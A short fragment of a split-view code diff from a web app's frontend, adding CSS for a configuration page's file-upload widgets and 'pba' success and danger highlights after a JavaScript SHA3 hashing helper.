return 'JWT ' + this._getToken();
}
};
hashSha3(text) { hashSha3(text) {
let hash = new SHA3(512); let hash = new SHA3(512);
hash.update(text); hash.update(text);

View File

@ -163,6 +163,18 @@ body {
* Configuration Page * Configuration Page
*/ */
.linux-pba-file-info, .windows-pba-file-info {
display: none
}
.filepond--root li {
overflow: visible;
}
.filepond--root * {
font-size: 1.04em;
}
.rjsf .form-group .form-group { .rjsf .form-group .form-group {
margin-left: 2em; margin-left: 2em;
} }
@ -412,6 +424,14 @@ body {
top: 30%; top: 30%;
} }
.pba-danger {
background-color: #ffc7af;
}
.pba-success {
background-color: #afd2a2;
}
/* Print report styling */ /* Print report styling */
@media print { @media print {